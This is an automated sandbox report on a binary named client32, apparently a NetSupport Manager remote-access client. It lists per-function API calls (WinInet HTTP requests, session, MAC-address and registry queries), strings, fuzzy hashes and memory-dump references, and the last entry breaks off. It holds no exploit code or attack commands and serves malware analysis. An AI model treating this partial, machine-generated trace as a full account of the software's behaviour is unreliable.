Part of subcall function 1115F2C5: HeapFree.KERNEL32(00000000,00000000,?,11167E86,00000000,?,1110C53E,?,?,?,?,111413D2,?,?,?), ref: 1115F2DB
Part of subcall function 1115F2C5: GetLastError.KERNEL32(00000000,?,11167E86,00000000,?,1110C53E,?,?,?,?,111413D2,?,?,?), ref: 1115F2ED

GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 11029475
SetLastError.KERNEL32(00000078), ref: 1102948E
GetProcAddress.KERNEL32(?,InternetConnectA), ref: 110294A1
InternetConnectA.WININET(000000FF,111955E0,00000050,00000000,00000000,00000003,00000000,00000000), ref: 110294BE
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 110294DA
SetLastError.KERNEL32(00000078), ref: 110294F3
GetProcAddress.KERNEL32(?,HttpOpenRequestA), ref: 11029519
GetProcAddress.KERNEL32(?,HttpSendRequestA), ref: 1102956D
GetProcAddress.KERNEL32(?,InternetQueryDataAvailable), ref: 110296D3
SetLastError.KERNEL32(00000078), ref: 110297A0
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 110297F2
SetLastError.KERNEL32(00000078), ref: 11029809
FreeLibrary.KERNEL32(?), ref: 1102981A

Strings

GET, xrefs: 11029539
HttpSendRequestA, xrefs: 11029567
InternetErrorDlg, xrefs: 11029610
InternetQueryDataAvailable, xrefs: 110296CD
InternetConnectA, xrefs: 1102949B
InternetCloseHandle, xrefs: 110292C9, 1102946F, 110294D4, 110297EC
HttpOpenRequestA, xrefs: 11029513
HttpQueryInfoA, xrefs: 110295B3
WinInet.dll, xrefs: 1102922D
InternetQueryOptionA, xrefs: 1102931B, 1102936B
://, xrefs: 11029415
InternetOpenA, xrefs: 110293A5

Memory Dump Source

Source File: 00000007.00000002.3304079708.0000000011001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.3304051388.0000000011000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304334547.00000000111EB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000111F1000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011257000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001127C000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011283000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001128A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011297000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112A7000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112AD000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112D9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011325000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$FreeInternetLibrary_free_malloc$ConnectHeapLoadOpen
String ID: ://$GET$HttpOpenRequestA$HttpQueryInfoA$HttpSendRequestA$InternetCloseHandle$InternetConnectA$InternetErrorDlg$InternetOpenA$InternetQueryDataAvailable$InternetQueryOptionA$WinInet.dll
API String ID: 921868004-913974648
Opcode ID: 4323dc13209f1141cde394b290c5c300ebcb294d4ba28f398435307f7bbc8dca
Instruction ID: 1a6f29b930c56522642f3e0528693d97e2c9ce6eee6fc69bea7c9705341dbda6
Opcode Fuzzy Hash: 4323dc13209f1141cde394b290c5c300ebcb294d4ba28f398435307f7bbc8dca
Instruction Fuzzy Hash: 3C128EB0D002299BDB11CFA9CC88A9EFBF8FF89344F60856AE555F7240EB745941CB61

Function 110612D0 Relevance: 76.5, APIs: 22, Strings: 21, Instructions: 1221COMMON

Download Yara Rule

APIs

Part of subcall function 11141240: GetLastError.KERNEL32(?,00000000,75A7795C,00000000), ref: 11141275
Part of subcall function 11141240: Sleep.KERNEL32(000000C8,?,?,?,?,?,?,00000000,75A7795C,00000000), ref: 11141285

_fgets.LIBCMT ref: 11061402
_strpbrk.LIBCMT ref: 11061469
_fgets.LIBCMT ref: 1106156C
_strpbrk.LIBCMT ref: 110615E3
__wcstoui64.LIBCMT ref: 110615FC
_fgets.LIBCMT ref: 11061675
_strpbrk.LIBCMT ref: 1106169B

Strings

%s.%04d.%s, xrefs: 110618E9
Expired, xrefs: 11061FAB
?starT, xrefs: 11061DB1, 11061DBD
_checksum, xrefs: 11061A4F
enforce, xrefs: 11061776
defaults, xrefs: 11061756
expiry, xrefs: 11061D70
inactive, xrefs: 11061BF1
?expirY, xrefs: 11061DA8
product, xrefs: 11061C92
Client, xrefs: 110618A2, 110618E4
ACM, xrefs: 11061CD7
_include, xrefs: 11061809
cd_install, xrefs: 11061C5B
/- , xrefs: 11061E3E, 11061E71, 11061EA4
%c%04d%s, xrefs: 110617C4
start, xrefs: 11061D79, 11061D90
_License, xrefs: 11061996, 11061A54, 11061A6E, 11061BF6, 11061C60, 11061C7B, 11061C97, 11061D91, 11061FB0, 11062098
shrink_wrap, xrefs: 11061C76
licensee, xrefs: 11062093
_version, xrefs: 11061A69

Memory Dump Source

Source File: 00000007.00000002.3304079708.0000000011001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.3304051388.0000000011000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304334547.00000000111EB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000111F1000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011257000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001127C000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011283000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001128A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011297000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112A7000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112AD000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112D9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011325000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _fgets_strpbrk$ErrorLastSleep__wcstoui64
String ID: %c%04d%s$%s.%04d.%s$/- $?expirY$?starT$ACM$Client$Expired$_License$_checksum$_include$_version$cd_install$defaults$enforce$expiry$inactive$licensee$product$shrink_wrap$start
API String ID: 716802716-1571441106
Opcode ID: 65d0460f92802e955614a162dd3814ce1d5bf045f2489b592bb5db30f33d702c
Instruction ID: 7d354751decb521dd2b5a9477f267ff04dc70e6f2396a8d0e1f3593140cd268d
Opcode Fuzzy Hash: 65d0460f92802e955614a162dd3814ce1d5bf045f2489b592bb5db30f33d702c
Instruction Fuzzy Hash: D6A2C275E0465A9FEB10CF64CC40BEFB7B9AF44309F0481D9E949A7280EB71AA45CF61

Function 1102D560 Relevance: 82.9, APIs: 15, Strings: 32, Instructions: 630
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

NSMWClass, xrefs: 1102D744
WTSFreeMemory, xrefs: 1102DAC1
MacAddress, xrefs: 1102DA8F
ListenPort, xrefs: 1102D960
WTSQuerySessionInformationA, xrefs: 1102D9FE
screenscrape, xrefs: 1102D978
Client, xrefs: 1102D945, 1102D97D, 1102DA94
Warning: Unexpanded clientname=<%s>, xrefs: 1102DC53
TSMode, xrefs: 1102D940
$session$, xrefs: 1102DD16
client32.ini, xrefs: 1102D7B5
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102DE70
client32, xrefs: 1102D885
computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102DE4A
NSM.LIC, xrefs: 1102D582
%02d, xrefs: 1102DC98
ClientName, xrefs: 1102DB45
%sessionname%, xrefs: 1102DCE9, 1102DD02
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102DCD4, 1102DD53
11/09/15 09:21:05 V12.10F2, xrefs: 1102DE1E
IsA(), xrefs: 1102DCD9, 1102DD58
468325, xrefs: 1102DBA5, 1102DD6B, 1102DD8F, 1102DD9C, 1102DDCC, 1102DE41
Error x%x reading %s, sesh=%d, xrefs: 1102D811
DisableConsoleClient, xrefs: 1102D8C7
Trying to get mac addr for %u.%u.%u.%u, xrefs: 1102DA54
ts macaddr=%s, xrefs: 1102DA7C
TCPIP, xrefs: 1102D965
, xrefs: 1102DB15
%session%, xrefs: 1102DD2A
Wtsapi32.dll, xrefs: 1102D98C
client32 dbi %hs, xrefs: 1102DE23
%s.%02d, xrefs: 1102DCB0

Memory Dump Source

Source File: 00000007.00000002.3304079708.0000000011001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.3304051388.0000000011000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304334547.00000000111EB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000111F1000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011257000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001127C000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011283000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001128A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011297000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112A7000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112AD000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112D9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011325000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _malloc_memsetwsprintf
String ID: $$session$$%02d$%s.%02d$%session%$%sessionname%$11/09/15 09:21:05 V12.10F2$468325$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$IsA()$ListenPort$MacAddress$NSM.LIC$NSMWClass$TCPIP$TSMode$Trying to get mac addr for %u.%u.%u.%u$WTSFreeMemory$WTSQuerySessionInformationA$Warning: Unexpanded clientname=<%s>$Wtsapi32.dll$client32$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$multipoint=%d, softxpand=%d, pid=%d$screenscrape$ts macaddr=%s
API String ID: 3802068140-2539462814
Opcode ID: 4203bcd69c24f794be3a2175e52386947bd84c010198ad05e972880d151edcf0
Instruction ID: d240301f554d32d3b7904e5f3cd70c9da08142028b12ad4ce6a05654279abd09
Opcode Fuzzy Hash: 4203bcd69c24f794be3a2175e52386947bd84c010198ad05e972880d151edcf0
Instruction Fuzzy Hash: B132D675D0026A9FDB12DF94CC84BEDF7B9AB44308F8445E9E958A7280EB706E44CF61

Function 11131370 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 101windowCOMMON

Download Yara Rule

APIs

Part of subcall function 111417E0: _memset.LIBCMT ref: 11141825
Part of subcall function 111417E0: GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114183E
Part of subcall function 111417E0: LoadLibraryA.KERNEL32(kernel32.dll), ref: 11141865
Part of subcall function 111417E0: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 11141877
Part of subcall function 111417E0: FreeLibrary.KERNEL32(00000000), ref: 1114188F
Part of subcall function 111417E0: GetSystemDefaultLangID.KERNEL32 ref: 1114189A

AdjustWindowRectEx.USER32(1113DB48,00CE0000,00000001,00000001), ref: 111313B7
LoadMenuA.USER32(00000000,000003EC), ref: 111313C8
GetSystemMetrics.USER32(00000021), ref: 111313D9
GetSystemMetrics.USER32(0000000F), ref: 111313E1
GetSystemMetrics.USER32(00000004), ref: 111313E7
GetDC.USER32(00000000), ref: 111313F3
GetDeviceCaps.GDI32(00000000,0000005A), ref: 111313FE
ReleaseDC.USER32(00000000,00000000), ref: 1113140A
CreateWindowExA.USER32(00000001,NSMWClass,0237E3F0,00CE0000,80000000,80000000,1113DB48,?,00000000,?,11000000,00000000), ref: 1113145F
GetLastError.KERNEL32(?,?,?,?,?,110F5809,00000001,1113DB48,_debug), ref: 11131467

Strings

NSMWClass, xrefs: 11131459
CreateMainWnd, hwnd=%x, e=%d, xrefs: 1113146F
mainwnd ht1=%d, ht2=%d, yppi=%d, xrefs: 1113141E

Memory Dump Source

Source File: 00000007.00000002.3304079708.0000000011001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.3304051388.0000000011000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304334547.00000000111EB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000111F1000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011257000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001127C000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011283000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001128A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011297000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112A7000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112AD000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112D9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011325000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: System$Metrics$LibraryLoadWindow$AddressAdjustCapsCreateDefaultDeviceErrorFreeLangLastMenuProcRectReleaseVersion_memset
String ID: CreateMainWnd, hwnd=%x, e=%d$NSMWClass$mainwnd ht1=%d, ht2=%d, yppi=%d
API String ID: 1594747848-1114959992
Opcode ID: 7281dd7751e614175c8dce41f6d5c7d8aafef09e31021395c24f009c96aa77ba
Instruction ID: 9cc38207800c48755d7f962ceed396d8e742c52f1043c8e55726c054ea069f44
Opcode Fuzzy Hash: 7281dd7751e614175c8dce41f6d5c7d8aafef09e31021395c24f009c96aa77ba
Instruction Fuzzy Hash: 6C31A072E00319AFDB109FE58C84BBFFBB8EB48719F104528FA11B7284D67069408BA5

Function 1110D180 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

std::exception::exception.LIBCMT ref: 1110D1EA
__CxxThrowException@8.LIBCMT ref: 1110D1FF
GetCurrentThreadId.KERNEL32 ref: 1110D216
InitializeCriticalSection.KERNEL32(-00000010,?,110309CC,00000001,00000000), ref: 1110D229
InitializeCriticalSection.KERNEL32(111EB8A0,?,110309CC,00000001,00000000), ref: 1110D238
EnterCriticalSection.KERNEL32(111EB8A0,?,110309CC), ref: 1110D24C
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,110309CC), ref: 1110D272
LeaveCriticalSection.KERNEL32(111EB8A0,?,110309CC), ref: 1110D2FF

Strings

QueueThreadEvent, xrefs: 1110D28B
..\ctl32\Refcount.cpp, xrefs: 1110D286

Memory Dump Source

Source File: 00000007.00000002.3304079708.0000000011001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.3304051388.0000000011000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304334547.00000000111EB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000111F1000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011257000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001127C000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011283000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001128A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011297000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112A7000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112AD000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112D9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011325000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Initialize$CreateCurrentEnterEventException@8LeaveThreadThrow_malloc_memsetstd::exception::exceptionwsprintf
String ID: ..\ctl32\Refcount.cpp$QueueThreadEvent
API String ID: 1976012330-1024648535
Opcode ID: 69f2a39a11b822a592fdf9d3d5f92dc8d89bb020cf32c05aff7fb1e321a5611c
Instruction ID: 3950031055ca146543af7cdf1b279fa91d633e3444a8efa468e47cc8be7809bd
Opcode Fuzzy Hash: 69f2a39a11b822a592fdf9d3d5f92dc8d89bb020cf32c05aff7fb1e321a5611c
Instruction Fuzzy Hash: DD41CFB4E01215AFDB12CFA98C84FAEFBF4FB48708F54853AE419D7344E635A5008BA1

Function 11015220 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 128registryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110152DA
_memset.LIBCMT ref: 1101531E
RegQueryValueExA.KERNEL32(?,PackedCatalogItem,00000000,?,?,?,?,?,00020019), ref: 11015358

Strings

SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries, xrefs: 1101525B
%012d, xrefs: 110152D4
NSLSP, xrefs: 11015368
PackedCatalogItem, xrefs: 11015342

Memory Dump Source

Source File: 00000007.00000002.3304079708.0000000011001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.3304051388.0000000011000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304334547.00000000111EB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000111F1000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011257000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001127C000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011283000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001128A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011297000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112A7000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112AD000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112D9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011325000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValue_memsetwsprintf
String ID: %012d$NSLSP$PackedCatalogItem$SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries
API String ID: 1333399081-1346142259
Opcode ID: 1966d73d0a7548c662ec7d0f5b9b12a1528b40116bf1a80f5935ba8defee945b
Instruction ID: bdea00c4cadcb984d55cc41d8ffa963856162fa43bf7957b15c91c952cfd9536
Opcode Fuzzy Hash: 1966d73d0a7548c662ec7d0f5b9b12a1528b40116bf1a80f5935ba8defee945b
Instruction Fuzzy Hash: 31419071D022299FEB11DB54CC80BEEF7B8EB05318F4441E8E41AA7281EB346B44CF50

Function 11017550 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000002F4,000000FF), ref: 1101758C
CoInitialize.OLE32(00000000), ref: 11017595
_GetRawWMIStringW@16.PCICL32(Win32_ComputerSystem,00000001,?,?), ref: 110175BC
CoUninitialize.COMBASE ref: 11017620

Strings

Win32_ComputerSystem, xrefs: 110175AD
PCSystemTypeEx, xrefs: 110175CC

Memory Dump Source

Source File: 00000007.00000002.3304079708.0000000011001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.3304051388.0000000011000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304334547.00000000111EB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000111F1000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011257000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001127C000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011283000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001128A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011297000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112A7000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112AD000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112D9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011325000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InitializeObjectSingleStringUninitializeW@16Wait
String ID: PCSystemTypeEx$Win32_ComputerSystem
API String ID: 2407233060-578995875
Opcode ID: 572f52470f95a4d3f25bfac9a72a5a8fb57ea990918a4877c824122c431ef828
Instruction ID: f5474d2ce38f90e0a7ff94217669a9bd078e6126dc5b2c5f9befb888d677ae11
Opcode Fuzzy Hash: 572f52470f95a4d3f25bfac9a72a5a8fb57ea990918a4877c824122c431ef828
Instruction Fuzzy Hash: C1214CB5E006625BDB50CF648C44B6FBBE48F88348F0004B9FC5DDA188FA78D940C792

Function 110312F0 Relevance: 9.0, APIs: 1, Strings: 5, Instructions: 28COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11031337

Strings

_SW, xrefs: 1103130C
%s%s%s.bin, xrefs: 11031331
468325, xrefs: 1103131E
_HF, xrefs: 11031318, 1103131D
_HW, xrefs: 11031300

Memory Dump Source

Source File: 00000007.00000002.3304079708.0000000011001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.3304051388.0000000011000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304334547.00000000111EB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000111F1000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011257000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001127C000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011283000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001128A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011297000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112A7000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112AD000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112D9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011325000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %s%s%s.bin$468325$_HF$_HW$_SW
API String ID: 2111968516-1833162749
Opcode ID: 3cadedcaca85c7d32890df03e09b4770c2ac2c560999f8ab1a4eafac2d3aae07
Instruction ID: 2d37ec8be248a08c2e3c36772f725827158d619cf10ab6990a6c8ba6e6d701e2
Opcode Fuzzy Hash: 3cadedcaca85c7d32890df03e09b4770c2ac2c560999f8ab1a4eafac2d3aae07
Instruction Fuzzy Hash: 93E09B60D2060C7FF30065588C057AFBB9C1F4931AF40C0E0FEE997A82E93494404A92

Function 111430E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

LoadStringA.USER32(00000000,0000194E,?,00000400), ref: 1114310F
wsprintfA.USER32 ref: 11143146

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

#%d, xrefs: 11143140
..\ctl32\util.cpp, xrefs: 1114315B
i < _tsizeof (buf), xrefs: 11143160

Memory Dump Source

Source File: 00000007.00000002.3304079708.0000000011001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.3304051388.0000000011000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304334547.00000000111EB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000111F1000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011257000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001127C000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011283000.00000002.00000001.01000000.0000000E.sdmpDownload File
